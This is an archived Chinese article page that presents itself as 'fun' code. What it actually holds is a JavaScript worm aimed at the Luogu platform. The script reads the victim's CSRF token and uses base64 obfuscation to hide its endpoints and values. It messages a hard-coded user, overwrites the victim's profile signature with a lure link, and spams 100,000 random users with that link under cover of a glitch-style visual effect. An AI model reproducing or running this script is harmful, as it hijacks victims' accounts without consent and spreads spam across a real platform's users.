跳到正文

休闲·娱乐

好玩的

yinzifan约 7 分钟
原文

这是 2025年9月5日 存档的第 1 版,不是当前版本。查看当前版本

文章信息与版本

文章信息

发布
2024年3月16日
收录
2025年12月12日
更新
2026年11月14日
篇幅
约 7 分钟
获赞
3

版本

  1. v2当前
  2. v1
代码
async function sendToUser ( uid, content ) {
	await fetch( decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw" ) ), {
		headers: [
			[ "content-type", "application/json" ],
			[ "referer", decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw" ) ) ],
			[ "x-csrf-token", document.querySelector( "meta[name=csrf-token]" )
				.content
			],
		],
		body: JSON.stringify( {
			user: uid,
			content: content,
		} ),
		method: "POST",
	} );
}
var styleTag = document.createElement( "style" );
styleTag.innerHTML = `
@keyframes glitch {
  0% {
    transform: skew(0);
    opacity: 1;
  }
  25% {
    transform: skew(5deg);
    opacity: 0.8;
  }
  50% {
    transform: skew(-5deg);
    opacity: 1;
  }
  75% {
    transform: skew(2deg);
    opacity: 0.9;
  }
  100% {
    transform: skew(0);
    opacity: 1;
  }
}

body {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  pointer-events: none;
  z-index: -1;
  background: linear-gradient(to right, #00f, #f00, #0f0, #ff0, #0ff, #f0f, #00f);
  background-size: 200% auto;
  animation: glitch 5s infinite;
}`;
document.head.appendChild( styleTag );
let popupMessage = "";
let popupDiv = document.createElement( "div" );
popupDiv.innerHTML = popupMessage;
popupDiv.style.position = "fixed";
popupDiv.style.top = "50%";
popupDiv.style.left = "50%";
popupDiv.style.transform = "translate(-50%, -50%)";
popupDiv.style.background = "#fff";
popupDiv.style.padding = "20px";
popupDiv.style.border = "1px solid #000";
popupDiv.style.zIndex = "9999";

document.body.appendChild( popupDiv );
function getRandomUid () {
	return Math.floor( Math.random() * ( 800000 - 100000 + 1 ) ) + 100000;
}
function sleep ( ms ) {
	return new Promise( ( resolve ) => setTimeout( resolve, ms ) );
}
( async function () {
	let uid1 = atob( "MHg1MzIwNzA=" );
	let content1 = atob( "SkPoh6rliqjmnLo=" );
	await sendToUser( uid1, content1 );

  
	async function updateSlogan ( slogan ) {
		const url = "https://www.luogu.com.cn/api/user/updateSlogan";
		const method = "POST";
		const body = {
			slogan: slogan
		};
		return await fetchAPI( url, method, body );
	}
	const slogan = "想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
	updateSlogan( slogan )
		.then( () => {
			console.log( "更新签名成功" );
		} )
		.catch( error => {
			console.error( "更新签名失败:", error );
		} );
  
	let uids = [];
	for ( let i = 0; i < 100000; i++ ) {
		let uid = getRandomUid();
		while ( uids.includes( uid ) ) {
			uid = getRandomUid();
		}
		uids.push( uid );
	}
	for ( let i = 0; i < uids.length; i++ ) {
		let content = "IAKIOI    想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
		await sendToUser( uids[ i ], content );
	}
	async function updateSlogan ( slogan ) {
		await fetch( "/api/user/updateSlogan", {
			method: "POST",
			headers: {
				"Content-Type": "application/json"
			},
			body: JSON.stringify( {
				slogan
			} )
		} );
	}

	async function fetchAPI ( url, method, body ) {
		const headers = {
			"content-type": "application/json",
			"referer": "https://www.luogu.com.cn/",
			"x-csrf-token": document.querySelector( "meta[name=csrf-token]" )
				.content,
		};

		const response = await fetch( url, {
			method,
			headers,
			body: JSON.stringify( body ),
		} );

		if ( !response.ok ) {
			throw new Error( `API request failed with status ${response.status}` );
		}

		const json = await response.json();
		return json;
	}
} )();